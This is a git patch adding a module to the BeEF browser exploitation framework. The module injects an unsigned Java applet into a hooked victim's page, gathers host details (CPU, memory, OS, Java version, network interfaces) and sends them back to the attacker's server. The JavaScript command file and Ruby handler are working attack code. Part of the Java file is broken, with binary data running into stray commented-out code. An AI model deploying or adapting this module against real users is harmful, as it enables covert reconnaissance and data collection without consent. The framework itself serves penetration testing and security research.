From 9170a2cd183a4c4ba4f531dc9c480a2609e5423c Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Fri, 21 Oct 2011 15:26:38 +0000 Subject: [PATCH] Added module: Get System Info (Java) Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet. Chrome users will be prompted to run the applet. o Working: Opera, Firefox, Safari, Internet Explorer o User Notify: Chrome git-svn-id: https://beef.googlecode.com/svn/trunk@1376 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/host/get_system_info/command.js | 51 ++++++ modules/host/get_system_info/config.yaml | 26 ++++ .../host/get_system_info/getSystemInfo.class | Bin 0 -> 4100 bytes .../host/get_system_info/getSystemInfo.java | 145 ++++++++++++++++++ modules/host/get_system_info/module.rb | 31 ++++ 5 files changed, 253 insertions(+) create mode 100644 modules/host/get_system_info/command.js create mode 100644 modules/host/get_system_info/config.yaml create mode 100644 modules/host/get_system_info/getSystemInfo.class create mode 100644 modules/host/get_system_info/getSystemInfo.java create mode 100644 modules/host/get_system_info/module.rb diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js new file mode 100644 index 000000000..10881f259 --- /dev/null +++ b/modules/host/get_system_info/command.js @@ -0,0 +1,51 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var internal_counter = 0; + var output; + var content = ""; + $j('body').append(content); + + if (beef.browser.isFF()) { + + output = document.getSystemInfo.getInfo(); + if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); + + } else { + + function waituntilok() { + try { + output = document.getSystemInfo.getInfo(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); + $j('#getSystemInfo').detach(); + return; + } catch (e) { + internal_counter++; + if (internal_counter > 30) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=time out'); + $j('#getSystemInfo').detach(); + return; + } + setTimeout(function() {waituntilok()},1000); + } + } + + setTimeout(function() {waituntilok()},5000); + + } +}); + diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml new file mode 100644 index 000000000..5a9a52748 --- /dev/null +++ b/modules/host/get_system_info/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_system_info: + enable: true + category: "Host" + name: "Get System Info (Java)" + description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.

Chrome users will be prompted to run the applet." + authors: ["bcoles"] + target: + working: ["O", "FF", "S", "IE"] + user_notify: ["C"] diff --git a/modules/host/get_system_info/getSystemInfo.class b/modules/host/get_system_info/getSystemInfo.class new file mode 100644 index 0000000000000000000000000000000000000000..028f9a399fb9e066506ee73573f9cf65d11a30c0 GIT binary patch literal 4100 zcma)9dw3jG760AYq;s>GHZ)C3(+Am7pqn;r%2P<8CLw8?G@I6JAG9ELvY8~)?#?W; zvw749h={LZ6%YmAphi>_d~5^Nf?8iFSP|dvM-~3!`}7a|{D64Q%vuE<53*Nn^CEmmBdnMi{aZKVaiT6iw93PPQpv2u0_ek6;@ga%(Bt9(h5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>9tLdUiRO6#n;CFv8K68gEqqq!%h~aYGRJV}D;aQA8K9i`b#pLZ z&5qZUIfj{A7_em?z_kpxZXUo^2E4uuP_C_&K;;Q*z`0=2J3jz{h$oZ^*&=Wqp;f*N9}Bc6I', <%= @command_id %>, + 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); + } + } else { + //Trying to insert the Beeffeine applet + content = ""; + $j('body').append(content); + internal_counter = 0; + //We have to kick off a loop now, because the user has to accept the running of the applet perhaps + +*/ diff --git a/modules/host/get_system_info/module.rb b/modules/host/get_system_info/module.rb new file mode 100644 index 000000000..aad8ad7aa --- /dev/null +++ b/modules/host/get_system_info/module.rb @@ -0,0 +1,31 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_system_info < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info/getSystemInfo.class','/getSystemInfo','class') + end + + def post_execute + content = {} + content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil? + content['fail'] = 'No data was returned.' if content.empty? + save content + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class'); + end + +end +